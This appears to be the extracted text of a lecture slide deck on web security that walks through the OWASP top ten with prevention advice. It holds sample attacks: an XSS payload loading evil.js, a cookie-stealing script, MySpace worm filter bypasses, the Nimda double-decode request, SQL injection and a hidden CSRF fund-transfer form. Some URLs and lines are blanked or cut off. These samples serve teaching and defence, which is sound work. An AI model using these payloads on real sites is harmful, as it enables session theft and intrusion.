1. Web Security

2. Vulnerabilities

3. OWASP top 10 (2012) and its evolution
MITRE 2006 Raw Ranking
1. Cross Site Scripting (XSS)
4. Cross Site Scripting (XSS) 1
2. Injection flaws
6. Injection flaws 2
3. Malicious file execution (new) 3
4. Insecure Direct Object Reference
2. Broken Access control (split in 2007 top 10) 5
5. Cross Site Request Forgery (CSRF) (New) 36
6. Information Leakage and Improper Error Handling
7. Improper error handling 6
7. Broken Authentication and Session Management
3. Broken Authentication and Session Management 14
8. Insecure Cryptographic Storage
8. Insecure Storage 8
9. Insecure Communication (New)
Discussed in 10. Insecure Configuration Management
10. Failure to Restrict URL Access
2. Broken Access Control (split in 2007 top 10)
<removed in 2007>
1. Unvalidated input 7
5. Buffer Overflows
4, 8, and 10
9. Denial of Service 17
10. Insecure Configuration Management 29

4. 1. XSS
XSS flaws occur whenever an application takes user supplied data and sends it to a web browser without first validating or encoding that content.
XSS allows attackers to execute script in the victim's browser which can hijack user sessions, deface web sites, possibly introduce worms, etc.
Simple example: echo $UnvalidatedOutput
Types of XSS
Reflected XSS
UnvalidatedOuput = user_input
user_input might be: %3Cscript%20src%3D%22http%3A//example.com/evil.js%22%3E%3C/script%3E
Which may be returned to browser as: <script src=
Stored XSS
UnvaliatedOutput comes from storage (e.g. database, BLOG, configuration file)
Stored information cannot be assumed to be safe
DOM based XSS
UnvalidatedOut contains a script that manipulates the DOM, leading to e.g.
phishing attack
Hybrid

5. More examples of XSS
this will display the content of the session cookie
<script>alert(document.cookie);</script>
Passing the cookie to a malicious site.
<script>document.location=' '%20+document.cookie</script>
Embedding javascript in a link to a image file.
img src="javascript:[code]”

6. XSS – MySpace Worm
“Samy” – Using XSS to invite others to add him to the friend list
Requests are automatically generated using AJAX (HTTP GET and POST)
“In less than 24 hours, ‘Samy’ had amassed over 1 million friends on the popular online community”
Potential to spread malicious worms is significant

7. XSS protection Output encoding
e.g. echo htmlentities($UnvalidatedOutput) (meta characters will be HTML encoded)
Use owasp/microsoft Anti-XSS library
Input Validation
Specify the output encoding (such as ISO , or UTF 8).
Do not allow the attacker to choose this for your users
Do not use “blacklist” validation
Prefer Indirect Selection and “whitelisting”
Watch out for canonicalization errors
Decode input to a canonical internal representation before validation
Make sure the application does not decode the same input twice!
Language specific recommendations
Java: Use Struts framework
Input validator
Output mechanisms
.NET: use Microsoft Anti-XSS library
PHP: ensure output is passed through htmlentities() or htmlspecialchars(), or use the PHP Anti-XSS library

8. Double Decode Exploit (Nimda)
GET /scripts/..%255c..%255cwinnt/system32/cmd.exe?cmd+/c+dir+c:\ HTTP/1.0
URL Decode – 1st round
/..%5c..%5cwinnt
URL Decode – 2nd round
/..\..\winnt
URL encoding:

9. Input Validation Blacklisting should be avoided if possible:
Myspace blacked listed <script>, but allowed <div>
Here is what it missed (2005 Myspace worm)
<div style=“background:url(‘javascript:alert(1)’)”>
You can pass a filter for <script>, for some browsers as
<sc
ript>
Another ingenious ways of bypassing a filter for innerHTML (2005 Myspace worm)
Alert(eval(‘document.body.inne’ + ‘rHTML’));
Indirect Selection: best option, if possible
User select from a predefined list of values
Only an index to the selected value is passed to the application
Whitelisting
Specify what is allowed instead of what is not allowed (blacklisting)
FSA is a good tool

10. Other considerations in input validation
Data type (string, integer, real, etc…)
Allowed character set
Minimum and maximum length
Whether null is allowed
Whether the parameter is required or not
Whether duplicates are allowed
Numeric range
Specific legal values (enumeration)
Specific patterns (regular expressions)

11. 2. Injection Flaws
Injection flaws, particularly SQL injection, are common in web applications
Injection occurs when user-supplied data is sent to an interpreter as part of a command or query
The attacker's hostile data tricks the interpreter into executing unintended commands or changing data
Types
SQL, LDAP, XPATH, XSLT, HTML, XML, OS command, etc.
Example in PHP:
$sql = “SELECT * FROM table WHERE id= ‘ “ . $_REQEST[‘id’] . “’”;
Attack scenario: id= 1234 OR 1=1
Prevention
Input validation
Use strongly typed parameterized query API
Enforce least privilege (when connecting to database)
Avoid detailed error messages (they are useful to the attackers)
Use stored procedures (but it isn’t 100% safe either!)
For example exec(), concatenation of arguments)
Do not use dynamic query interfaces (e.g. mysql_query())
Do not use simple escaping functions (e.g. str_replace(“’”,”’”)
Watch out for canonicalization errors

12. 3. Malicious File Injection
Code vulnerable to remote file inclusion (RFI) allows attackers to include hostile code and data, resulting in devastating attacks, such as total server compromise
Malicious file execution attacks affect PHP, XML and any framework which accepts filenames or files from users

13. 4. Insecure Direct Object Reference
A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, database record, or key, as a URL or form parameter.
Attackers can manipulate those references to access other objects without authorization.
Example:
Attacker signs on with a legitimate account number
Site appends the account number as part of subsequent queries as either part of the URL or as a form parameter
Attacker manipulates the account number being submitted (via HTTP proxy) and resubmits the modified query
Attacker is able to view account information of other account holders via brute force trial and error
Prevention
Avoid exposing private object references to users
Validate any private object references
Verify authorization to all referenced objects

14. 5. Cross Site Request Forgery (CSRF)
A CSRF attack forces a logged-on victim's browser to send a pre-authenticated request to a vulnerable web application, which then forces the victim's browser to perform a hostile action to the benefit of the attacker.
CSRF can be as powerful as the web application that it attacks. Takes advantage of logged on session to submit malicious transactions.
Example:
User logged on online banking in one browser session
User browses a malicious site in a different window
The malicious site contains an invisible iFrame
<iframe name="myframe" style="width:0px;height:0px;border:0px"></iframe>
with the following script
<script type="text/javascript">
function fillframe() {
mf = window.frames["myframe”]
html = '<form name="getrichform" action=" method="post">';
html = html + ' <input type="hidden" name=”amount" value="all"/>';
html = html + ' <input type="hidden" name="to" value="my friend bob"/>';
html = html + ' <input type="hidden" name="when" value="right now"/>';
html = html + '</form>’;
mf.document.body.innerHTML = html;
mf.document.getrichform.submit(); }
</script>

15. XSS vs. CSRF XSS exploits the trust of a client to a server
i.e. the client trusts contents from the server
CSRF exploits the trust of a server to a client
i.e. the transaction is initiated by the authenticated client
CSRF can be launched independent of XSS
it can be launched using XSS as well

16. Prevention for CSRF Ensure that there are no XSS vulnerabilities
Insert custom random tokens into every form and URL that will not be
automatically submitted by the browser. For example
<form action=“/transfer.do” method=“post”>
<input type=“hidden” name =“9u09i0i” value=“58p9lkdfjlk”> …
</form>
Verify the submitted token is valid for the current user
For sensitive data or value transaction, re-authenticate

17. 6. Information Leakage and Improper Error Handling
Applications can unintentionally leak information about their configuration, internal workings, or violate privacy through a variety of application problems.
Attackers use this weakness to steal sensitive data, or conduct more serious attacks.
Example:
Error messages: “invalid user” and “wrong password” may give away valid user names
Better message: “invalid user name or password”

18. 6. Information Leakage and Improper Error Handling
Prevention
Ensure that the entire software development team shares a common approach to exception handling
Disable or limit detailed error messages
Scrub comments/error messages for development before final release
Ensure that secure paths have multiple outcomes return similar or identical error messages
Aware that common frameworks return different HTTP error codes depending on if the error is within your custom code or within the framework code.
Overwrite default error handler.
This reduces an automated scanner’s ability to detect situations where a serious error has occurred
Managing conflicting objectives
Different mind set for secure application development vs. traditional software development
Competing interest for help desk needs (more specific error message) vs. security considerations

19. 7. Broken Authentication and Session Management
Account credentials and session tokens are often not properly protected.
Attackers compromise passwords, keys, or authentication tokens to assume other users' identities.
Examples
Allowing user to access parts of the application without the appropriate privilege
Viewing unauthorized content
Authorization loopholes
External facing administrative interfaces
Weaknesses are more often introduced through ancillary authentication functions such as:
logout
password management
timeout
remember me
secret question
account update

20. 7. Broken Authentication and Session Management
Prevention
Defense in depth
Well defined role based and granular access control
Use common session management mechanism
Do not roll your own unless there is a very good reason
Do not accept new, preset or invalid session identifier
Regenerate a new session upon successful authentication
Use a single, strong, authentication mechanism
Do not allow the login process to start from an unencrypted page
Ensure every page has a logout link
Use a timeout period
Correlate session IDs to a individual user
Protect ancillary authentication information the same way one protects passwords
e.g. questions and answers for password reset
Do not expose any session identifiers or any portion of valid credentials in URLs or logs
Be careful of sending secrets to registered addresses
Be careful of allowing users to change their address
Perhaps sent a message to the previous address before enacting the change

21. Accidental Session ID Denial of Service Attacks
A commercial site is running BroadVision Application Server:
Sample cookies (BV_IDS)
<server instance number>.<clock
Mozilla was setup to deny cookies from the site
The site was setup to redirect any user without a BV_IDS cookie to a no-cookie page
The no-cookie page redirects the user back to the initial page, creates a redirect loop
Over 20,000 requests were issued from one IP, and 20,000 different sessions were created
When the hourly session clean up occurred, the server hung due to the number of sessions created
Most newer versions of Mozilla/IE browser have a redirect limit

22. Session ID in URL
The use of session ID in the URL should be discouraged. The URL can be
cached by a search engine
Recorded in proxy logs
Retained in URL dropdown list
A search in the google for site, with sessionID “inurl:sessionID” in the URL and the word “shopping cart”, turns up 112,000 entries.

23. Session Hijacking
Session Hijacking – Capturing the session cookies and assume the identity of another user.
The session ID can be gained using Cross-Site Scripting attack
The session ID can be brute forced
To test for session hijacking attacks are usually done using two separate browsers.
Mozilla/Netscape/Firefox – Uses shared memory for cookies
Internet Explorer – Uses separate memory for each newly created instance

24. Session Fixation Attack
Session Fixation Attack is the idea of induce an application to inadvertently accept a Session ID set by the User.
An attacker sets a pre-determined Session ID in the URL, persuade the unsuspecting user to authenticate, and hijack the session.
Example:
Sent the link to an unsuspecting user, and the user authenticates
The value for CFID/CFTOKEN becomes a valid session
Someone can hijack the session using the known session ID

25. 8. Ensure Cryptographic Storage
Web applications rarely use cryptographic functions properly to protect data and credentials.
Attackers use weakly protected data to conduct identity theft and other crimes, such as credit card fraud.
Common examples include
Not encrypting sensitive data
Using home grown algorithms
Insecure use of strong algorithm
Continued use of proven weak algorithm (MD5, SHA-1, RC3, RC4, etc…)
Hard coding keys, and storing keys in unprotected stores
Use of Encoding instead of encryption

26. 8. Ensure Cryptographic Storage
Prevention
Do not create your own cryptographic algorithms
Do not use weak algorithms
Generate keys offline and store private keys with extreme care
Ensure infrastructure credentials are properly secured
e.g. database credentials
Ensure that encrypted data stored on disk is not easy to decrypt
Never store unnecessary data
e.g. POS terminals

27. 9. Insecure Communications
Applications frequently fail to encrypt network traffic when it is necessary to protect sensitive communications.
Example: application failed to encrypt network traffic, or using SSL improperly
Prevention
Use SSL for all connections that are authenticated or transmitting sensitive or valuable data
Such as: credentials, credit card details, health and other private information
When using SSL library be aware of the following:
Certification validation often checked as default as part of the library.
BUT, do not make that assumption.
However, a valid certificate does NOT mean it is the right certificate
Libraries don’t check that, application must validate every field,
especially “subjectAltName”
Checking CRL
Most libraries, today, do not check that as default
Checking it typically requires a lot code

28. 10. Failure to Restrict URL Access
Frequently, an application only protects sensitive functionality by preventing the display of links or URLs to unauthorized users.
Attackers can use this weakness to access and perform unauthorized operations by accessing those URLs directly.
“Hidden” or “specialized” URLs, unfortunately, many of them deal with systems admin.
Prevention
Ensure that access control matrix is part of the business, architecture, and design of the application
Ensure that all URLs and business functions are protected by an effective access control mechanism
Perform a penetration test
Pay close attention to include/library files (especially those that are executable, e.g. .php)
Do not assume that users will be unaware of special or hidden URLs or APIs
Block to all file types that your application should never use (e.g. only allow .html, .pdf, .php)
Keep up to date with virus protection and patches